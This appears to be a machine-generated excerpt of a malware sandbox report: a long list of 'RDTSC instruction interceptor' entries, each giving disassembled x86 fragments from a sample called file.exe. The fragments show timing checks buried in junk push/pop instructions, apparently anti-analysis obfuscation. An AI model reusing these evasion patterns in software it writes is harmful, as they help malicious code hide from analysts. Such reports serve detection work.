Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 73F2DE second address: 73F30E instructions: 0x00000000 rdtsc 0x00000002 push ebx 0x00000003 pop ebx 0x00000004 pop edx 0x00000005 pop eax 0x00000006 popad 0x00000007 mov dword ptr [esp], eax 0x0000000a push ebx 0x0000000b mov edi, esi 0x0000000d pop edx 0x0000000e push 00000000h 0x00000010 mov cx, si 0x00000013 call 00007F38ECB57B99h 0x00000018 push eax 0x00000019 push edx 0x0000001a push eax 0x0000001b push edx 0x0000001c jmp 00007F38ECB57BA0h 0x00000021 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 73F30E second address: 73F314 instructions: 0x00000000 rdtsc 0x00000002 push edx 0x00000003 pop edx 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 73F314 second address: 73F31A instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 73F31A second address: 73F339 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F38EC75ED1Eh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 pop edx 0x0000000a pop eax 0x0000000b push eax 0x0000000c je 00007F38EC75ED28h 0x00000012 push eax 0x00000013 push edx 0x00000014 pushad 0x00000015 popad 0x00000016 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 73F339 second address: 73F361 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F38ECB57B9Ah 0x00000007 pop edx 0x00000008 pop eax 0x00000009 mov eax, dword ptr [esp+04h] 0x0000000d push eax 0x0000000e push edx 0x0000000f jmp 00007F38ECB57BA4h 0x00000014 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 73F361 second address: 73F384 instructions: 0x00000000 rdtsc 0x00000002 push ecx 0x00000003 jmp 00007F38EC75ED27h 0x00000008 pop ecx 0x00000009 pop edx 0x0000000a pop eax 0x0000000b mov eax, dword ptr [eax] 0x0000000d push eax 0x0000000e pushad 0x0000000f push eax 0x00000010 push edx 0x00000011 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 73F384 second address: 73F43E instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jg 00007F38ECB57B96h 0x0000000a popad 0x0000000b pop eax 0x0000000c mov dword ptr [esp+04h], eax 0x00000010 js 00007F38ECB57BA8h 0x00000016 pop eax 0x00000017 add dword ptr [ebp+122D331Ah], esi 0x0000001d push 00000003h 0x0000001f jmp 00007F38ECB57BA0h 0x00000024 push 00000000h 0x00000026 push 00000000h 0x00000028 push edi 0x00000029 call 00007F38ECB57B98h 0x0000002e pop edi 0x0000002f mov dword ptr [esp+04h], edi 0x00000033 add dword ptr [esp+04h], 00000014h 0x0000003b inc edi 0x0000003c push edi 0x0000003d ret 0x0000003e pop edi 0x0000003f ret 0x00000040 mov edx, dword ptr [ebp+122D35F3h] 0x00000046 push 00000003h 0x00000048 sub di, 8E4Eh 0x0000004d push 60180A96h 0x00000052 jmp 00007F38ECB57BA0h 0x00000057 add dword ptr [esp], 5FE7F56Ah 0x0000005e cmc 0x0000005f lea ebx, dword ptr [ebp+12453114h] 0x00000065 sub si, 9AE1h 0x0000006a mov dword ptr [ebp+122D3423h], esi 0x00000070 xchg eax, ebx 0x00000071 push eax 0x00000072 push edx 0x00000073 js 00007F38ECB57BADh 0x00000079 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 73F43E second address: 73F443 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 73F48F second address: 73F4C2 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop ecx 0x00000005 pop edi 0x00000006 push eax 0x00000007 jmp 00007F38ECB57B9Dh 0x0000000c nop 0x0000000d mov dword ptr [ebp+122D3327h], eax 0x00000013 push 00000000h 0x00000015 mov si, ax 0x00000018 call 00007F38ECB57B99h 0x0000001d jns 00007F38ECB57BB4h 0x00000023 push eax 0x00000024 push edx 0x00000025 push eax 0x00000026 push edx 0x00000027 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 73F4C2 second address: 73F4C6 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 73F4C6 second address: 73F4E3 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F38ECB57BA2h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 push eax 0x0000000a pushad 0x0000000b pushad 0x0000000c pushad 0x0000000d popad 0x0000000e push eax 0x0000000f push edx 0x00000010 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 73F4E3 second address: 73F4EB instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 push ebx 0x00000006 push eax 0x00000007 push edx 0x00000008 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 73F758 second address: 73F75C instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 73F75C second address: 73F760 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 73F760 second address: 73F776 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push eax 0x00000007 push edx 0x00000008 jmp 00007F38ECB57B9Eh 0x0000000d rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 73F776 second address: 73F7CC instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F38EC75ED1Eh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 popad 0x0000000a add dword ptr [esp], 241A12BAh 0x00000011 push 00000000h 0x00000013 push esi 0x00000014 call 00007F38EC75ED18h 0x00000019 pop esi 0x0000001a mov dword ptr [esp+04h], esi 0x0000001e add dword ptr [esp+04h], 00000014h 0x00000026 inc esi 0x00000027 push esi 0x00000028 ret 0x00000029 pop esi 0x0000002a ret 0x0000002b mov di, cx 0x0000002e lea ebx, dword ptr [ebp+12453128h] 0x00000034 or ch, FFFFFFBAh 0x00000037 xchg eax, ebx 0x00000038 pushad 0x00000039 jmp 00007F38EC75ED1Ah 0x0000003e push eax 0x0000003f push edx 0x00000040 jg 00007F38EC75ED16h 0x00000046 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 73F7CC second address: 73F7DD instructions: 0x00000000 rdtsc 0x00000002 jbe 00007F38ECB57B96h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a popad 0x0000000b push eax 0x0000000c push eax 0x0000000d push edx 0x0000000e pushad 0x0000000f push eax 0x00000010 push edx 0x00000011 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 73F7DD second address: 73F7E4 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push edi 0x00000005 pop edi 0x00000006 popad 0x00000007 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 73F7E4 second address: 73F7EE instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 js 00007F38ECB57B96h 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 73F7EE second address: 73F7F2 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 760098 second address: 7600AE instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F38ECB57B9Fh 0x00000007 pushad 0x00000008 pushad 0x00000009 popad 0x0000000a push eax 0x0000000b push edx 0x0000000c rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 7600AE second address: 7600B4 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 72B7B1 second address: 72B7C7 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F38ECB57B9Eh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 push eax 0x0000000a push edx 0x0000000b pushad 0x0000000c popad 0x0000000d rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 72B7C7 second address: 72B7CB instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 75DF68 second address: 75DF6E instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push edx 0x00000005 pop edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 75DF6E second address: 75DF9C instructions: 0x00000000 rdtsc 0x00000002 push ecx 0x00000003 pop ecx 0x00000004 jmp 00007F38EC75ED29h 0x00000009 pop edx 0x0000000a pop eax 0x0000000b push eax 0x0000000c push edx 0x0000000d jmp 00007F38EC75ED1Bh 0x00000012 pushad 0x00000013 popad 0x00000014 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 75E395 second address: 75E3A8 instructions: 0x00000000 rdtsc 0x00000002 jno 00007F38ECB57B9Eh 0x00000008 pushad 0x00000009 push eax 0x0000000a push edx 0x0000000b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 75E531 second address: 75E537 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 75E537 second address: 75E53B instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 75E53B second address: 75E541 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 75E541 second address: 75E547 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 75E858 second address: 75E879 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 push eax 0x00000006 push edx 0x00000007 jno 00007F38EC75ED22h 0x0000000d push eax 0x0000000e push edx 0x0000000f jg 00007F38EC75ED16h 0x00000015 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 75E879 second address: 75E87F instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 75E87F second address: 75E889 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jg 00007F38EC75ED16h 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 75EA0D second address: 75EA15 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 push eax 0x00000007 push edx 0x00000008 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 75EA15 second address: 75EA1A instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 75EA1A second address: 75EA71 instructions: 0x00000000 rdtsc 0x00000002 je 00007F38ECB57BC2h 0x00000008 jmp 00007F38ECB57BA5h 0x0000000d jmp 00007F38ECB57BA7h 0x00000012 jmp 00007F38ECB57BA1h 0x00000017 pop edx 0x00000018 pop eax 0x00000019 push eax 0x0000001a push edx 0x0000001b pushad 0x0000001c pushad 0x0000001d popad 0x0000001e push esi 0x0000001f pop esi 0x00000020 popad 0x00000021 js 00007F38ECB57B98h 0x00000027 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 75EA71 second address: 75EA87 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 jmp 00007F38EC75ED21h 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 75EA87 second address: 75EA96 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jg 00007F38ECB57B96h 0x0000000a popad 0x0000000b push eax 0x0000000c push edx 0x0000000d pushad 0x0000000e popad 0x0000000f rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 7531D1 second address: 7531D8 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 push eax 0x00000006 push edx 0x00000007 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 75F211 second address: 75F225 instructions: 0x00000000 rdtsc 0x00000002 jno 00007F38ECB57B9Ch 0x00000008 push eax 0x00000009 push edx 0x0000000a push eax 0x0000000b pop eax 0x0000000c push eax 0x0000000d push edx 0x0000000e rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 75F225 second address: 75F229 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 75FC53 second address: 75FC57 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 75FC57 second address: 75FC61 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push eax 0x00000007 push edx 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 75FC61 second address: 75FC65 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 763F64 second address: 763F6A instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 763F6A second address: 763F6E instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 763F6E second address: 763F72 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 764063 second address: 764067 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 764067 second address: 76406D instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 7641E6 second address: 7641FF instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F38ECB57BA2h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 pushad 0x0000000a push eax 0x0000000b push edx 0x0000000c rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 7654E5 second address: 765506 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F38EC75ED27h 0x00000007 jnp 00007F38EC75ED16h 0x0000000d pop edx 0x0000000e pop eax 0x0000000f rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 765506 second address: 76550B instructions: 0x00000000 rdtsc 0x00000002 push ecx 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 72EE3A second address: 72EE3E instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 72EE3E second address: 72EE66 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F38ECB57BA7h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 push eax 0x0000000a push edx 0x0000000b jmp 00007F38ECB57B9Bh 0x00000010 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 72EE66 second address: 72EE6A instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 72EE6A second address: 72EE7A instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop esi 0x00000007 jc 00007F38ECB57BB9h 0x0000000d pushad 0x0000000e push eax 0x0000000f push edx 0x00000010 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 7691F5 second address: 7691FA instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop eax 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 7691FA second address: 769206 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 pop eax 0x00000006 jnc 00007F38ECB57B96h 0x0000000c rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 7324A4 second address: 7324A8 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 7324A8 second address: 7324AC instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 7324AC second address: 7324B2 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 76D966 second address: 76D96A instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 76D96A second address: 76D989 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007F38EC75ED29h 0x00000009 pop edx 0x0000000a pop eax 0x0000000b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 76D706 second address: 76D70E instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 pushad 0x00000007 popad 0x00000008 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 76F919 second address: 76F91D instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 76F91D second address: 76F923 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 76FD5C second address: 76FD61 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 76FD61 second address: 76FD6B instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jc 00007F38ECB57B96h 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 76FD6B second address: 76FD7E instructions: 0x00000000 rdtsc 0x00000002 push ecx 0x00000003 pop ecx 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 push eax 0x00000009 push eax 0x0000000a push edx 0x0000000b jno 00007F38EC75ED18h 0x00000011 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 76FD7E second address: 76FD83 instructions: 0x00000000 rdtsc 0x00000002 push ebx 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 770633 second address: 770639 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push ecx 0x00000005 pop ecx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 770639 second address: 77063D instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 770803 second address: 77080E instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 jbe 00007F38EC75ED16h 0x00000009 push eax 0x0000000a push edx 0x0000000b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 770B13 second address: 770B42 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F38ECB57BA4h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 mov dword ptr [esp], eax 0x0000000c sub si, 40D2h 0x00000011 xor di, A536h 0x00000016 push eax 0x00000017 jnp 00007F38ECB57B9Eh 0x0000001d push edx 0x0000001e push eax 0x0000001f push edx 0x00000020 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 771966 second address: 77196A instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 77196A second address: 7719CD instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 nop 0x00000007 push 00000000h 0x00000009 push edi 0x0000000a call 00007F38ECB57B98h 0x0000000f pop edi 0x00000010 mov dword ptr [esp+04h], edi 0x00000014 add dword ptr [esp+04h], 00000017h 0x0000001c inc edi 0x0000001d push edi 0x0000001e ret 0x0000001f pop edi 0x00000020 ret 0x00000021 mov edi, dword ptr [ebp+122DB5E5h] 0x00000027 push 00000000h 0x00000029 or dword ptr [ebp+12474DCCh], eax 0x0000002f push 00000000h 0x00000031 pushad 0x00000032 jmp 00007F38ECB57BA2h 0x00000037 mov ecx, dword ptr [ebp+124819E1h] 0x0000003d popad 0x0000003e mov esi, 36DA24D7h 0x00000043 push eax 0x00000044 pushad 0x00000045 push eax 0x00000046 push edx 0x00000047 jmp 00007F38ECB57B9Ah 0x0000004c rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 773343 second address: 773347 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 773347 second address: 7733E5 instructions: 0x00000000 rdtsc 0x00000002 push ecx 0x00000003 pop ecx 0x00000004 pop edx 0x00000005 pop eax 0x00000006 jmp 00007F38ECB57BA6h 0x0000000b popad 0x0000000c push eax 0x0000000d pushad 0x0000000e jmp 00007F38ECB57BA7h 0x00000013 jmp 00007F38ECB57B9Fh 0x00000018 popad 0x00000019 nop 0x0000001a push 00000000h 0x0000001c push ecx 0x0000001d call 00007F38ECB57B98h 0x00000022 pop ecx 0x00000023 mov dword ptr [esp+04h], ecx 0x00000027 add dword ptr [esp+04h], 00000015h 0x0000002f inc ecx 0x00000030 push ecx 0x00000031 ret 0x00000032 pop ecx 0x00000033 ret 0x00000034 push 00000000h 0x00000036 mov edi, dword ptr [ebp+122D3423h] 0x0000003c push 00000000h 0x0000003e call 00007F38ECB57BA8h 0x00000043 jns 00007F38ECB57B9Ch 0x00000049 pop esi 0x0000004a xchg eax, ebx 0x0000004b je 00007F38ECB57BA0h 0x00000051 push eax 0x00000052 push edx 0x00000053 push edi 0x00000054 pop edi 0x00000055 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 7754DD second address: 7754E1 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 77522F second address: 775239 instructions: 0x00000000 rdtsc 0x00000002 jng 00007F38ECB57B96h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 775239 second address: 775244 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 jne 00007F38EC75ED16h 0x00000009 push eax 0x0000000a push edx 0x0000000b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 777E31 second address: 777E35 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 777E35 second address: 777E50 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push ebx 0x00000005 pop ebx 0x00000006 pop edx 0x00000007 pop eax 0x00000008 jmp 00007F38EC75ED23h 0x0000000d rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 777E50 second address: 777E5B instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 jnc 00007F38ECB57B96h 0x00000009 push eax 0x0000000a push edx 0x0000000b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 777E5B second address: 777E8F instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007F38EC75ED26h 0x00000009 popad 0x0000000a pop edx 0x0000000b pop eax 0x0000000c pushad 0x0000000d push eax 0x0000000e push edx 0x0000000f jmp 00007F38EC75ED1Eh 0x00000014 js 00007F38EC75ED16h 0x0000001a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 730925 second address: 730942 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007F38ECB57BA9h 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 730942 second address: 730969 instructions: 0x00000000 rdtsc 0x00000002 jnp 00007F38EC75ED16h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a pop edx 0x0000000b pop eax 0x0000000c push eax 0x0000000d push edx 0x0000000e jmp 00007F38EC75ED1Bh 0x00000013 jmp 00007F38EC75ED1Eh 0x00000018 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 730969 second address: 7309A8 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 pushad 0x00000004 popad 0x00000005 jmp 00007F38ECB57BA3h 0x0000000a jnc 00007F38ECB57B96h 0x00000010 jmp 00007F38ECB57BA8h 0x00000015 popad 0x00000016 jng 00007F38ECB57B9Ch 0x0000001c push eax 0x0000001d push edx 0x0000001e rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 77BBBF second address: 77BBEC instructions: 0x00000000 rdtsc 0x00000002 jl 00007F38EC75ED2Fh 0x00000008 jmp 00007F38EC75ED29h 0x0000000d pop edx 0x0000000e pop eax 0x0000000f push eax 0x00000010 pushad 0x00000011 jc 00007F38EC75ED1Ch 0x00000017 push eax 0x00000018 push edx 0x00000019 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 77BBEC second address: 77BC3D instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 pushad 0x00000006 popad 0x00000007 push ebx 0x00000008 pop ebx 0x00000009 popad 0x0000000a popad 0x0000000b nop 0x0000000c adc bh, FFFFFFFFh 0x0000000f mov ebx, dword ptr [ebp+122D1A2Eh] 0x00000015 push 00000000h 0x00000017 push ecx 0x00000018 push edx 0x00000019 mov ebx, dword ptr [ebp+122D37DBh] 0x0000001f pop edi 0x00000020 pop edi 0x00000021 push 00000000h 0x00000023 mov dword ptr [ebp+122D331Ah], ecx 0x00000029 xchg eax, esi 0x0000002a jng 00007F38ECB57BACh 0x00000030 push eax 0x00000031 push eax 0x00000032 push edx 0x00000033 push ebx 0x00000034 je 00007F38ECB57B96h 0x0000003a pop ebx 0x0000003b rdtsc
